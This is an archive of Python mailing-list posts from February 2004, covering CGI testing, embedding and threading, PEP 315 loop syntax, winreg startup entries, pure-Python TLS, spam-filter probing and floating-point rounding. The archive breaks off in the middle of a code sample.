on the instance, it needs to traverse the MRO to check if there's a
property.  If there isn't one, that's an expensive waste.

Guido, Ping, and I worked on a patch to fix that at last year's PyCon
sprint, but one common case slowed down enough that Guido vetoed the
patch.  Anyone who wants to bring fresh eyeballs would be welcome.
(Don't remember the precise specifics off-hand, but I'm willing to work
with someone who wants to try.)
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"The joy of coding Python should be in seeing short, concise, readable
classes that express a lot of action in a small amount of clear code -- 
not in reams of trivial code that bores the reader to death."  --GvR


From hawkfish at trustedmedianetworks.com  Wed Feb 11 12:27:17 2004
From: hawkfish at trustedmedianetworks.com (Richard Wesley)
Date: 11 Feb 2004 12:27:17 EST
Subject: unit testing CGI scripts?
References: <mailman.1415.1076423956.12720.python-list@python.org>
Message-ID: <hawkfish-75409C.09270311022004@tribune.sj.sys.us.xo.net>

In article <mailman.1415.1076423956.12720.python-list at python.org>,
 "Lee, Dustin" <dlee at rightnow.com> wrote:

> How about testing CGI scripts that access a database (I expect this is the 
> norm)?
> 
> I find writing unittests with non-cgi and non-database code very beneficial 
> and pretty straight forward.  I have yet to figure out how to do this with 
> cgi and database coding.  I'm starting to appreciate why pure functional 
> languages (Haskell, etc) really laud the praises of doing "side-effect free" 
> programming.  Of course it's hard conceive of using a database with out 
> actually changing it....
> 
> So who out there is doing cgi/db programming and actually testing it?

Layering is very helpful.  Have the cgi script entrypoint routine 
initialize a configuration class containing all the relevant information 
(database connection, host configuration, etc.).  Then call a routine 
that does all the work and returns the output in some structured 
representation (e.g. a dictionary).  Then have another standard routine 
that generates the output from that representation and maybe a style 
sheet.  

To test the code, you now need to check three interfaces:  the 
configuration object constructor, the page generator and the cgi 
implementation code.  The tests for the first two can be separate from 
the tests for an individual cgi entrypoint.  To test a particular API, 
all you need to do then is construct a variant of the configuration 
object that uses predefined data for each setUp e.g. it talks to a clean 
test database, it uses a clean section of the filesystem (I use 
tempdirs), it has "fake" hostname information (I use 
unittest.ourdomain.com).  Then you can look at the structured output, do 
diffs on the database, explore the filesystem and so on.

As you can see, the old dictum that you should design your code to be 
tested comes in here.  Good luck!

HTH,

-- 

- rmgw

<http://www.trustedmedianetworks.com/>

----------------------------------------------------------------------------
Richard Wesley                                  Trusted Media Networks, Inc.

"'You don't know how to manage Looking-glass cakes,' the Unicorn remarked.
 'Hand it round first, and cut it afterwards.'" 
    - Lewis Carroll, _Through The Looking-Glass And What Alice Found There_


From glc at well.com  Sat Feb 28 10:02:29 2004
From: glc at well.com (Greg Chapman)
Date: Sat, 28 Feb 2004 15:02:29 GMT
Subject: re-entrant call to PyEval_RestoreThread(context) hangs
References: <bfef2a62.0402260354.af900a9@posting.google.com>
Message-ID: <72b140dd0tpgmgv2udsbff8n3ltmecq8c9@4ax.com>

On 26 Feb 2004 03:54:42 -0800, pcaffrey at iel.ie (Paul) wrote:

>following hangs when re-entered
>
>run()
>{
>    PyEval_RestoreThread(context);
> 
>    pName = PyString_FromString(script);
>
>    Py_DECREF(pName);
>
>    context = PyEval_SaveThread();
>}
>
>This invokes a python script (using context[0])
>
>The python script uses "swig" to call back into the run() method
>The run() method now calls PyEval_RestoreThread(context[1])
>
>but this hangs
>
>ie to summarise
>
>C++ run() context0
>    -> .py
>        -> C++ run()  context1 HANGS!
>
>Can anyone suggest a solution for this?

I've never used SWIG, so I'm not sure if your run method is something for which
SWIG generates the actual C code or pseudocode you're using for example.
Anyway, if you're using 2.3, you can use the PyGILState API:

run()
{
    PyGILState_STATE state = PyGILState_Ensure();

    PyObject *pName = PyString_FromString(script);

    Py_XDECREF(pName);
  
    PyGILState_Release(state);
}

---
Greg Chapman



From bk_kl at gmx.de  Fri Feb 13 03:46:00 2004
From: bk_kl at gmx.de (bk_kl at gmx.de)
Date: 13 Feb 2004 00:46:00 -0800
Subject: Inconsistent behavior of split on empty string
Message-ID: <8ffb92e6.0402130046.633f73f7@posting.google.com>

Hi,

I think the following behavior of the build in function 'split' is inconsistent.
What do you think?

>>> "".split()
[]
>>> "".split(";")
['']

I'm using python 2.3.3 on Windows 2000.
(Perl's split only returns all items up to the last non-empty item,
 e.g. <perl>split /;/, "; ;;;"; gets you ['', ' ']. I find this confusing, too).


From jcarlson at nospam.uci.edu  Sun Feb  8 02:18:07 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Sat, 07 Feb 2004 23:18:07 -0800
Subject: efficient way for building class browsers.
In-Reply-To: <930ba99a.0402071805.15b90424@posting.google.com>
References: <930ba99a.0402071805.15b90424@posting.google.com>
Message-ID: <c04nvs$h6j$1@news.service.uci.edu>

> I am looking for a class browser that has these features.

Only a browser?  Text or GUI?  What OS?  Any particular GUI toolkit?

> Remember I need a class browser, that also tells me the line no in
> source code of that symbol. (So compiler module  (ast) can't be used -
> Is it so? )

compiler.ast can be used for this, but only produces proper results when 
the file has no syntax errors.  Don't get me wrong, using the output of 
compiler.ast can be a pain in the ass, and slow as hell (5 seconds for 
100k of source on a celeron 400), but it can be used.

> Are there any better ways for achieving this?

You can write a limited parser (subject to certain flaws), one that 
doesn't use tokenize or compiler.ast, and get pretty fast results.  I 
wrote one to go into my own editor PyPE (pype.sourceforge.net), and it 
has no problems parsing a 100k Python source file and displaying the 
source tree in a GUI in less than 1/2 second on a celeron 400.

It wouldn't be too bad to pull the tree portion out, what kind of 
browser do you need?

  - Josiah


From Scott.Daniels at Acm.Org  Fri Feb 20 23:13:39 2004
From: Scott.Daniels at Acm.Org (Scott David Daniels)
Date: Fri, 20 Feb 2004 20:13:39 -0800
Subject: Maintaining a list
In-Reply-To: <403311F6.2070202@yahoo.com.au>
References: <b4a8ffb6.0402131633.1cb220d6@posting.google.com>
	<403311F6.2070202@yahoo.com.au>
Message-ID: <4036e404$1@nntp0.pdx.net>

Steve wrote:

> Thomas Philips wrote:
>> I'm teaching myself programming using Python and want to build a list
>> inside a function (rather like using a static variable in a Fortran
>> subroutime - the list must not disappear as soon as the subroutine is
>> exited). What's the simplest way to do this?
>...
> mylist = []
> 
> def myroutine(x)
>     global mylist
>     mylist.append(x)
>     print mylist
>     return None

For the shortest (not simplest conceptually, but good to learn why it
works) solution, I'd propose:

     mylist = []
     myroutine = mylist.append


-- 
-Scott David Daniels
Scott.Daniels at Acm.Org


From asoulaymani at sysnek.com  Sat Feb 14 10:17:06 2004
From: asoulaymani at sysnek.com (amine soulaymani)
Date: Sat, 14 Feb 2004 15:17:06 -0000
Subject: MozPython: Why my MozPython did not work after
	installedsuccessfully?
Message-ID: <000601c3f30d$a7808cd0$3f03a8c0@CERDIS.PRIV>

this worked for me:
-download python 2.3. install it. add in your path the python dir in the system icon in the configuration panel.
-install mozilla 1.6.
- the mozpython file needed for your configuration is MozPython-0.1.1_1.6_2.3_win32 .
- follow the tutorial.
that's all folks.
-------------- next part --------------
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From gogr at fossie.net  Wed Feb 11 07:02:16 2004
From: gogr at fossie.net (Fossie)
Date: 11 Feb 2004 04:02:16 -0800
Subject: Unix domain sockets / IPC - how to get remote process/user id?
References: <78c7ca81.0402091539.82af1cb@posting.google.com>	<20040210012230.GB2646@unpythonic.net>
	<mailman.1396.1076378539.12720.python-list@python.org>
Message-ID: <78c7ca81.0402110402.11eb957d@posting.google.com>

Thanks to all for your answers!

I had a look at the sendmsg wrapper from twistedmatrix, but without
any documentation (not even some short comments) it is a bit hard to
use. It seems to support file descriptor passing (SCM_RIGHTS) but
would need some extra coding to support the SCM_CREDENTIAL structure,
which seems to be system dependent anyway, as stated by Jeff (see unix
man page, I had another impression from a short glimpse into Richard
Stevens' networking books..)

All in all, since I am neither a linux nor a network/ipc nor a c
expert [thats why I am using Python ;) ], I was looking more for a
ready-to-use thing.

Therefore, I had a closer look at the system V shared memory (and
semaphore) module (shm), which I found at:
http://gigue.peabody.jhu.edu/~mdboom/omi/source/shm_source/shm.html

Its another kind of interprocess communication than I originally
wanted, but does what I need (giving uid/pid) without any
modification. It should be portable (ok, maybe not to windows) and is
good documented (at least sufficiently for me). This looks like a
candidate (useful, portable, documented) for the standard python
library to me..

Thanks again, Fossie


From invalidEmail at cvm.qc.ca  Mon Feb  9 15:53:36 2004
From: invalidEmail at cvm.qc.ca (Askari)
Date: Mon, 09 Feb 2004 20:53:36 GMT
Subject: Play Multiple Sound (for windows)
Message-ID: <Xns948AA1ABC8129974331cvmqcca@207.35.177.135>

Hi,
   I search how do for play more that one sound in same time with Python. 
Actually, I use the module "winsound" and I can play/stop a sound but can't 
play more that one sound in same time. :-(

Askari

Note : All sounds are in files on my hard disk


From jbublitzno at spamnwinternet.com  Sat Feb 21 03:12:11 2004
From: jbublitzno at spamnwinternet.com (Jim Bublitz)
Date: Sat, 21 Feb 2004 08:12:11 GMT
Subject: QWidget casts with PyQt?
References: <mailman.117.1077300351.27104.python-list@python.org>
Message-ID: <RpEZb.27969$U77.3101698165@twister2.starband.net>

Michael Pyle wrote:

> Just use the reference you get back as a QButtonGroup object.
 
> The following code works fine for me:
 
> from qt import *
 
> app = QApplication([])
> box = QToolBox()
> grp = QButtonGroup()
> box.addItem( grp, 'button group' )
> item = box.item( 0 )
> print item
> print item.isRadioButtonExclusive()
 
> This outputs:
> <__main__.qt.QButtonGroup object at 0x00804360>
> True

> Stefan Quandt wrote:
>> I want to access widgets from a Qt container widget e.g.
>>   item = ToolBox.item( 0 )
 
>> I know that the item is a QButtonGroup.
>> The Qt-Library returns a QWidget pointer.
>> So what I get is a Python QWidget wrapper object.
 
> This is quite a general problem for which I would like to know
> a solution too.

As a general solution, methods and functions (including factory
functions) which return a pointer cast down to a QWidget or
QObject base type will return an object of the original type in
Python with PyQt or PyKDE (as shown above). Same for QEvent
based objects.

If they don't, you should report a bug on the PyKDE mailing list.

Jim


From jon_couchman at hotmail.com  Tue Feb 10 05:55:26 2004
From: jon_couchman at hotmail.com (jon c)
Date: Tue, 10 Feb 2004 10:55:26 +0000
Subject: problem with os.system command length
Message-ID: <Law11-F33katd4gmSkn000022d8@hotmail.com>

I am using python 2.3
windows 2000

I try and run a very long command using os.system(cmd)

but it is too long to be run, I get the following error

the following character string is too long:

although this is not directly a python problem, I was wondering if anyone 
knew a quick way of solving it?

cheers, Jon

_________________________________________________________________
Use MSN Messenger to send music and pics to your friends 
http://www.msn.co.uk/messenger




From wfolta at netmail.to  Wed Feb 18 10:26:35 2004
From: wfolta at netmail.to (Wayne Folta)
Date: Wed, 18 Feb 2004 10:26:35 -0500
Subject: PEP-315 ("do" loop)
In-Reply-To: <4032385D.6030003@prescod.net>
References: <0F705920-60F0-11D8-BE5B-000A959CB2EC@netmail.to>
	<4032385D.6030003@prescod.net>
Message-ID: <D6AFC12A-6226-11D8-9450-000A959CB2EC@netmail.to>

> until x <==> while not x

That was one thought that crossed my mind when I first saw an until 
construct in a language. (Was it PL/I?) So it is a bit of a confusion, 
but at the same time my spider senses were telling me that surely a 
language wouldn't reserve a keyword "until" to simply save someone from 
typing "while not". (Of course, a language like perl might well do 
this, but that's why we use python, eh?)

While it might be easy to confuse how "until" acts, it has the strength 
that it follows the intuitive loop paradigm we're used to in all other 
looping constructs that I know of: what loops is inside the loop. 
Python has "else" extensions to loops that are different from most 
languages, but even here the "else" part does not loop.

PEP-315 creates a different kind of two-part loop where code outside of 
the "while" is repeatedly executed. That will fool people who are used 
to the usual one-part loops. You can claim it's actually a "do" loop, 
but with the condition in the middle of the loop, that doesn't really 
hold water.

At the very least I'd say that you need to choose a word other than 
"while" to avoid this kind of confusion. For example, "do ... until 
..." loop where "until" <==> "while not" so that you know immediately 
what's going on. Otherwise, when you see a "while", you're never sure 
what kind of loop it is until you look above it and determine it's not 
a "do while".
>

> Nothing about the word "until" implies to me that it delays the loop 
> test on the first go-round. PEP 315's syntax seems more clear to me.

Nothing about "do" implies "do repeatedly". My first guess on what the 
PEP-315 syntax means, based on python's "while ... else" syntax, would 
be that the "do" part is executed and then the while loop is executed 
conditional on the "do" having not been broken out of: the inverse of 
"while ... else".




From mac at dgp.toronto.edu  Thu Feb  5 16:46:09 2004
From: mac at dgp.toronto.edu (Maciej Kalisiak)
Date: 5 Feb 2004 21:46:09 GMT
Subject: "ulimit -s" has no effect?
References: <877jz2f8l9.fsf@dgp.toronto.edu>
	<bvsndq$q03$00$1@news.t-online.com>
	<87n07xwqi3.fsf@dgp.toronto.edu> <31naf1-d54.ln1@valpo.de>
Message-ID: <87k731jizs.fsf@dgp.toronto.edu>

Mathias Waack <M.Waack at gmx.de> writes:
> Have you tried it with a different shell? Your example works for me
> as expected. But I'm using a bash where ulimit is a builtin. Don't
> know about zsh. 

"ulimit" is a builtin in zsh as well.  But I did try under "bash" from a Linux
console.  Same behaviour.  On two different machines.  This must be something
embarassingly simple.  Sanity check, just to be on the same page, here's my
procedure:

1. % python
2. # type in routine
   >>> def foo(i):
           print i
           foo(i+1)

3. >>> foo(0)
4. this properly raises exception at depth 998 or so
5. import sys
6. sys.setrecursionlimit(1000000)
7. >>> foo(0)
8. segfaults at about depth 7000+
9. % ulimit -s 32000
10. repeat steps 1 through 7
11. same segfault point

-- 
Maciej Kalisiak | <mac at dgp.toronto.edu> | http://www.dgp.toronto.edu/~mac


From robin at jessikat.fsnet.co.uk  Sun Feb  1 13:01:03 2004
From: robin at jessikat.fsnet.co.uk (Robin Becker)
Date: Sun, 1 Feb 2004 18:01:03 +0000
Subject: new extension type inheriting from list
References: <3pH8tJA1lNHAFw2I@jessikat.fsnet.co.uk>
	<mailman.1100.1075652507.12720.python-list@python.org>
Message-ID: <uXdaCXAf7THAFwWK@jessikat.fsnet.co.uk>

In article <mailman.1100.1075652507.12720.python-list at python.org>, Tim
Peters <tim.one at comcast.net> writes

......good stuff

thanks for this.
-- 
Robin Becker


From jeremy+plusnews at jeremysanders.net  Tue Feb 24 09:36:03 2004
From: jeremy+plusnews at jeremysanders.net (Jeremy Sanders)
Date: Tue, 24 Feb 2004 14:36:03 +0000
Subject: How can i get the parameternames of a non documented function ?
References: <2d0e7cf4.0402230929.74d0e208@posting.google.com>
	<m365dwh9jn.fsf@pc150.maths.bris.ac.uk>
Message-ID: <pan.2004.02.24.14.36.03.687230@jeremysanders.net>

On Tue, 24 Feb 2004 13:49:33 +0000, Michael Hudson wrote:

> hilfmir at gmx.at (mzo) writes:
>> I import a module (wrapped from c code) and have no documentation of
>> it. How can i find out the name of the parameters / head of the
>> functions ?
> 
> You can't.  Sorry.

Is that correct?

Couldn't you use inspect.getargspec(func) ?

It doesn't say you can't use it on wrapped C code.

Jeremy



From mhammond at skippinet.com.au  Tue Feb 10 21:23:10 2004
From: mhammond at skippinet.com.au (Mark Hammond)
Date: Wed, 11 Feb 2004 13:23:10 +1100
Subject: Newbie question: getting my program to run at startup on Windows
In-Reply-To: <mailman.1437.1076449966.12720.python-list@python.org>
References: <mailman.1437.1076449966.12720.python-list@python.org>
Message-ID: <c0c3mm$ean$1@arachne.labyrinth.net.au>

Arjan Dikhoff wrote:
> Hello, I'm new to this list.
> 
> I'm trying to get my program to run automatically at startup, but so far
> no luck. I came as far as:
> 
> key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER,
> "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run")
>                 
> _winreg.SetValueEx(key, "earthclock", 0, _winreg.REG_SZ, os.getcwdu() +
> "\\EarthClock.exe")
> _winreg.CloseKey(key)
> 
> But I get "WindowsError: [Errno 5] Access is denied"
> 
> I'm probably doing something blatantly wrong. Does anyone know what it
> is?

Keys are opened with 'read' access by default.  Use:
key = 
_winreg.OpenKey(_winreg.HKEY_CURRENT_USER,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 
0, _winreg.KEY_ALL_ACCESS)

And it works fine.

Mark.



From klausman-un0204 at schwarzvogel.de  Sun Feb 22 14:35:09 2004
From: klausman-un0204 at schwarzvogel.de (Tobias Klausmann)
Date: 22 Feb 2004 19:35:09 GMT
Subject: Random from Dictionary
References: <mailman.1003699822.11327.python-list@python.org>
Message-ID: <slrnc3i13d.p1e.klausman-un0204@eric.schwarzvogel.de>

Hi!

This thread has reminded me (and touched upon) a problem I had a
few months back and never got to solve in a way I really liked.

Here's the outline:
I'd like to generate words from atoms (like 'e', 'ch', 'th' and
so on). Now while the basic stupid algorithm is to just put them
into two different lists (roughly "vowels" and "consonants") and
the just pick alternatingly form both (or maybe a bit mor often
form one, that does not quite satisfy me.

What I'd like is having a dictionary or a list of tuples, which
contains the probability for each element and then an efficient
way of creating strings that contain a set number of random chars
according to the distribution outlined by the probablities.

For small numbers of elements, just creating a list that contains
more of the same element for higher probabilities and
then pick()ing from it works. Unfortunately, I need a quite high
precision (about 0.05% of the sum of probabilities) and have a
list of about 100 atoms. The list would become very large, I
guess (although I haven't tried).

Now I've come up with an idea that might solve my problem, but I
don't know if it's correct or at least effective.

I build the list the following way: For the first atom, I create
a dictionary entry with the key being its relative probability.
The second key gets an entry with its probability added to the
first one. This goes on until all atoms are in the list.

Now I generate a number between 0 and the highest number in the
dictionary, i.e. the key of thw most probable element. The
picked element will be the one with the smallest key that's over
the random number.

The main disadvantage I see is that I have to walk large parts of
the list for every pick. Of course, I would start at the top,
trying to minimize the number of elements needing to be checked.

Still, it doesn't quite satisfy me. While I have a strong belief
in its correctness, I'd be glad if others think so, too :)

Better yet, a faster and proven way to do this would be even
nicer.

Greets,
Tobias



From Florian.Lindner at xgm.de  Wed Feb 25 04:32:51 2004
From: Florian.Lindner at xgm.de (Florian Lindner)
Date: Wed, 25 Feb 2004 10:32:51 +0100
Subject: Problem with optparser or In
Message-ID: <c1hq42$78h$07$1@news.t-online.com>

Hi,
I'm not sure where the problems lies...
I'm using optparse and I've a option defined:

 parser.add_option("-t", "--type", action="callback",
callback=option_callback, type="string")

def option_callback(option, opt, value, parser, *args, **kwargs):
    if (str(option) == "-t/--type") and (opt in ("mailbox", "ftp")):
        print "Error!"
    else:
        parser.values.type = opt

This should print error if the commandline is "--type=ftp" or
"--type=mailbox" (same for the short args).
But it never gets till Error... Although opt contains "mailbox" or "ftp".
What's wrong there?


Thanks,
Florian


From mwh at python.net  Thu Feb  5 11:31:30 2004
From: mwh at python.net (Michael Hudson)
Date: Thu, 5 Feb 2004 16:31:30 GMT
Subject: spam classification breaker
References: <mailman.1245.1075996814.12720.python-list@python.org>
Message-ID: <m3r7x95vz1.fsf@pc150.maths.bris.ac.uk>

"Tim Peters" <tim.one at comcast.net> writes:

> [Robin Becker]
> > This article at the BBC reports on what appears to be a genetic
> > algorithm or random search method for finding words that apparently
> > fool bayesian classifiers every time.
> >
> > http://news.bbc.co.uk/1/hi/technology/3458457.stm
> >
> > The author apparently had to include html reporting into the emails to
> > allow his mail client to report back automatically.
> 
> If I'm a spammer trying to get my pitches seen by you, and you're using a
> personal Bayesian classifier, then I need to load my pitches with words that
> are very hammy to you.  If I don't have access to your personal training
> data (if I do, I already own your machine ...), then I need to *deduce*
> what's hammy to you.  One way to do that is, as John Graham-Cumming noted
> here, is for me to send you thousands of messages with different piles of
> words, and note which ones did and didn't get caught by your filter.   Then
> I load my sales pitches with words from the ones that your filter didn't
> reject, and avoid words from ones your filter did reject.  In order to do
> that, I have to know which messages you did and didn't look at.  That's the
> purpose of the HTML "web bug"/"web beacon"s in the thousands of test
> messages.  

I did wonder what the point of some of the stuff that ends up in my
unsure folder was.  It seems so mashed up that even if I wanted to
work out what the hell they were selling me I would have a hard time
figuring it out.

> > Of course if he'd used python the whole process of email generation
> > and classification could have been done in a single process and would
> > probably allow easier generation of the magic words.
> 
> I have to deduce *your* magic words, not mine.  I have to send email to you,
> and deduce what you did and didn't look at.  This is an expensive process
> for the spammer, of course.

Surely there comes a point when just sending me mail selling something
I actually want becomes cheaper...

Cheers,
mwh

-- 
  Monte Carlo sampling is no way to understand code.
                                  -- Gordon McMillan, comp.lang.python


From fredrik at pythonware.com  Sun Feb 22 17:39:34 2004
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Sun, 22 Feb 2004 23:39:34 +0100
Subject: limiting text input in Tkinter Entry widget
References: <4038d6c2$0$49821$1b2cd167@news.wanadoo.nl>
Message-ID: <c1bb43$g7r$1@sea.gmane.org>

Otto Kr?se wrote:

> I'm building a GUI in which I want, amongst other things, for people to
> fill in there postal code. The postal codes of my country (Holland) are
> in this format: 1234 AB
>
> So for the input I use two entry widgets, one of a length of
> (characters) for the numbers and one of lenght 2 for the letters. What I
> don't like is that although the visible part of the widgets thus are 4
> and 2 characters, users can actually input more characters. They could
> for example input 12345 abcd. I want to make that impossible.
>
> Does anyone know a way to limit the amount of characters an entry widget
> can take? Is there an easy option to set for this or does this problem
> require some python code?

http://effbot.org/zone/tkinter-entry-validate.htm

</F>






From dswj at plasa.com  Wed Feb 18 08:10:07 2004
From: dswj at plasa.com (dw)
Date: Wed, 18 Feb 2004 20:10:07 +0700
Subject: is it possible to del an imported module?
Message-ID: <web-9214899@b2.c.plasa.com>

my program has potentially hundreds of small py file that 
each open an
mdichildframe (just like demo from wxPython). I 
implemented it by
importing the file before use, but would like it be get 
ridded off
from memory afterward.

--
   dody wijaya

===========================================================================================
Akses Internet Prabayar TELKOMNet-Prepaid,
 nominal Rp.10.000- Rp.150.000. 
Dapatkan di Plasa - Plasa TELKOM terdekat (khusus di Jawa Timur)
===========================================================================================



From trevp at trevp.net  Fri Feb 27 14:01:08 2004
From: trevp at trevp.net (Trevor Perrin)
Date: Fri, 27 Feb 2004 11:01:08 -0800
Subject: Pure Python HTTPS Server
In-Reply-To: <HM6dnY5wr9tw3KLdRVn-gg@speakeasy.net>
References: <mailman.183.1077835573.8594.python-list@python.org>
Message-ID: <5.2.0.9.0.20040227104138.03d1cab8@pop.sbcglobal.yahoo.com>

At 07:11 AM 2/27/2004 -0600, A.M. Kuchling wrote:

>On Thu, 26 Feb 2004 14:45:56 -0800,
>         Trevor Perrin <trevp at trevp.net> wrote:
> > tlslite lets you run Python's BaseHTTPServer or SimpleHTTPServer with 
> HTTPS.
> > http://trevp.net/tlslite/
>
>Neat!
>
>Would tlslite be able to handle TLS asynchronously?

Not at the moment, I don't think.  Right now it assumes it has a blocking 
socket, and when you call TLSConnection.read() it blocks until one (or 
more) TLS records has been fully received.

I'm a little fuzzy about asynch stuff.  I don't think I can emulate a 
file-descriptor to make it work with select().  What about an interface 
where you can say "get any available bytes", with no blocking?  Is that on 
the right track?


>   I've been wanting to
>add SSL/TLS support to Medusa, but didn't want to require external packages
>such as PyOpenSSL.


It'll be slow, of course, with pure-Python ciphers:
  - ~25 KB/sec AES, on a P4 1.7 Ghz
  - ~250 KB/sec RC4, " "


Are you and Paul still looking at adding ciphers to stdlib?  That would 
make me really, really happy :-)....

Trevor 




From i.linkweiler at web.de  Fri Feb 13 12:58:01 2004
From: i.linkweiler at web.de (Ingo Linkweiler)
Date: Fri, 13 Feb 2004 18:58:01 +0100
Subject: JPG Image Load,Resize,Save with 100% Python?
In-Reply-To: <6ee58e07.0402081805.4cc5df7b@posting.google.com>
References: <c05dj3$q37$04$1@news.t-online.com>
	<6ee58e07.0402081805.4cc5df7b@posting.google.com>
Message-ID: <c0j3di$1rd$01$1@news.t-online.com>

> There is nothing like this. 
> 
> Because this is a task that can't be done in Python well. 
> You must expect it to be around 140 times (thats 14000%) slower then a
> C library thats why nobody wants to do it.

thanks, than i will use PIL or wxPython. I have tested both with good 
results.

Ingo



From Nospam at please.com  Sun Feb 29 21:11:46 2004
From: Nospam at please.com (Todd7)
Date: Mon, 01 Mar 2004 02:11:46 GMT
Subject: Why Python?
Message-ID: <Xns949ECD7289AD6Todd7Nospampleasecom@68.12.19.6>

I am looking at learning Python, but I would like to know what its 
strengths and weaknesses are before I invest much time in learning it.  My 
first thought is what is it good for programming, however I expect an 
answer from the python newsgroup to be something like "everything".  So 
maybe a better question is what type of programming projects is Python a 
bad choice?

What makes it better or worse than languages like perl, php, delphi, or 
c++?

Thanks for your opinions.

Todd.


From atheist at pandora.be  Mon Feb  2 00:28:19 2004
From: atheist at pandora.be (Wouter Vanden Hove)
Date: Mon, 02 Feb 2004 05:28:19 +0000
Subject: Building a Course Management System
References: <e9570f37.0401301146.714d1551@posting.google.com>
Message-ID: <bvkhvj$umi$1@gaudi2.UGent.be>

Graham Fawcett wrote:

> -- Are there other Python-based CMS (Course management systems) that
> I've overlooked? (Zope4Edu came to mind, but it's commerical, I think;
> at least, there's no public CVS that I can find.)

There is an eduplone-project, extending the plone-functionality
based on IMS-standards:

plone.org (based on zope)
eduplone.net

and of course there is the Connexions platform
http://cnx.rice.edu/



Wouter Vanden Hove
-- 

http://www.opencursus.org
http://www.open-education.org


From ray.chou at msa.hinet.net  Sun Feb 15 09:14:50 2004
From: ray.chou at msa.hinet.net (Ray B. X. Zhou)
Date: Sun, 15 Feb 2004 22:14:50 +0800
Subject: xml unknown encoding: big5
References: <c0g189$8pk@netnews.hinet.net>
	<m365ec17kx.fsf@pc150.maths.bris.ac.uk>
Message-ID: <c0nurn$m1o@netnews.hinet.net>

> Install CJKCodecs?  (Just a guess).

Not yet. I'll try it. Thank you very much.

Ray

> "Ray B. X. Zhou" <ray.chou at msa.hinet.net> writes:
>
> > I use xml.sax to parse big5 encoding xml file.
> > And I got message "unknown encoding: big5".
> > What can I do?
>
> Install CJKCodecs?  (Just a guess).
>
> Cheers,
> mwh
>
> -- 
>   Worryingly, DEFUN appears to be a function that removes all the
>   fun from something: after using it all your code is converted
>   to C++.                              -- Tim Bradshaw, comp.lang.lisp




From ncw at axis.demon.co.uk  Tue Feb 10 05:30:02 2004
From: ncw at axis.demon.co.uk (Nick Craig-Wood)
Date: 10 Feb 2004 10:30:02 GMT
Subject: Python style advice
References: <slrnc2enr8.bmp.ncw@irishsea.home.craig-wood.com>
	<mailman.1400.1076389231.12720.python-list@python.org>
Message-ID: <slrnc2h9id.um.ncw@irishsea.home.craig-wood.com>

Wayne Folta <wfolta at netmail.to> wrote:
>  In the specific case where you're trying to map a variable-length 
>  argument list to local variables in a function, you can do the more 
>  Pythonic:
> 
>  def myfunc (a = None, b = None, c = None)

Interesting...  I was thinking in particular of sys.argv with this
example, but the above gave me the idea below which would work quite
well (imagine sys.argv in place of L below)

>>> def f(a=None,b=None,c=None,*extra): print a,b,c
... 
>>> L=[]; apply(f,L)
None None None
>>> L=[1]; apply(f,L)
1 None None
>>> L=[1,2]; apply(f,L)
1 2 None
>>> L=[1,2,3]; apply(f,L)
1 2 3
>>> L=[1,2,3,4]; apply(f,L)
1 2 3
>>> L=[1,2,3,4,5]; apply(f,L)
1 2 3

-- 
Nick Craig-Wood
ncw at axis.demon.co.uk


From anton at vredegoor.doge.nl  Mon Feb  9 07:43:02 2004
From: anton at vredegoor.doge.nl (Anton Vredegoor)
Date: Mon, 09 Feb 2004 13:43:02 +0100
Subject: PEP 327: Decimal Data Type
References: <mailman.1168.1075811734.12720.python-list@python.org>
	<c00hdt$hbv$0@216.39.172.122>
	<4023ea86$0$138$3a628fcd@reader2.nntp.hccnet.nl>
	<01nb20t83n3eo9dlbjpqmdcuuvelpkmbue@4ax.com>
Message-ID: <4027810a$0$996$3a628fcd@reader1.nntp.hccnet.nl>

Tim Roberts <timr at probo.com> wrote:

>anton at vredegoor.doge.nl (Anton Vredegoor) wrote:
>>
>>One possible option would be to provide for some kind of random
>>rounding routine for some of the least significant bits of a floating
>>point value.
>
>I'm not so sure about this.  It still gives you what seems to be an exact
>answer with 15 decimal places, but now you have non-determinism.  The real
>answer, I think, is getting people to understand how much of their
>real-world measurements are garbage.

Yes, but this is not a simple matter. There is some kind of order long
after strict methods become unwieldy. An intelligent rounding scheme
could harness some of this partial order to keep the computations more
accurate over a wider range of manipulations on real world data.

I'm providing some code below to show that there is order beyond
determinism. It's not very helpful in an explicit way, but it should
serve to prove the point for someone wanting to look at it for long
enough and willing to check the code for some exact deterministic
explanation, and being unable to formalize it :-)

Also it's not bad to look at even for those not wanting to
investigate, so it might help to prevent possible tension in this
discussion a bit.

>>The advantage would be that this would also be usable for
>>DSP-like computations that are used in music programming (volume
>>adjustments) or in digital video (image rotation). 
>
>Interesting.  I know you were kind of talking off the top of your head, but
>can you tell me what leads you to thinking that some low-order randomness
>would be helpful in those particular applications?

There are high end digital mixers that use some kind of random
rounding to the least significant bits of their sample data in order
to make the sounds "survive" more manipulations before the effect of
the manipulations becomes audible.

In digital video with image rotation there is the problem of
determining where an object exactly is after it is rotated, because
all of its coordinate points have been rounded. A statistic approach
seems to work well here.

On a more cosmic scale the universe seems to use the same trick of
indeterminism, at least according to quantum theory and the Heisenberg
uncertainty principle. Some think that because of that the universe
itself must be a computer simulation :-) I guess I'd better stop here
before someone mentions Douglas Adams ...

>>Maybe we need a DSP-float instead of a decimal data type? Decimals
>>could be used for testing DSP-float implementations.
>
>Can you describe what you mean by DSP-float?  I'm not sure why a DSP should
>treat floats any differently than an ordinary processor.

You are right, a DSP is just like an ordinary processor, except that
it is specialized for digital signal processing operations. I guess I
got a bit carried away by thinking about a datatype that has builtin
random rounding for the least significant bits. For example by using
the Mersenne twisted random generator, it could compute a lot of
rounding bytes at once and just use them up as needed. This way it
would not slow down the computations too much.

Anton

from __future__ import division
from Tkinter import *
from random import random,choice

class Scaler:
    
    def __init__(self, world, viewport):
        (a,b,c,d), (e,f,g,h) = world, viewport
        xf,yf = self.xf,self.yf = (g-e)/(c-a),(h-f)/(d-b)
        wxc,wyc = (a+c)/2, (b+d)/2
        vxc,vyc = (e+g)/2, (f+h)/2
        self.xc,self.yc = vxc-xf*wxc,vyc-yf*wyc
        
    def scalepoint(self, a, b):
        xf,yf,xc,yc = self.xf,self.yf,self.xc,self.yc
        return xf*a+xc,yf*b+yc

    def scalerect(self, a, b, c, d):
        xf,yf,xc,yc = self.xf,self.yf,self.xc,self.yc
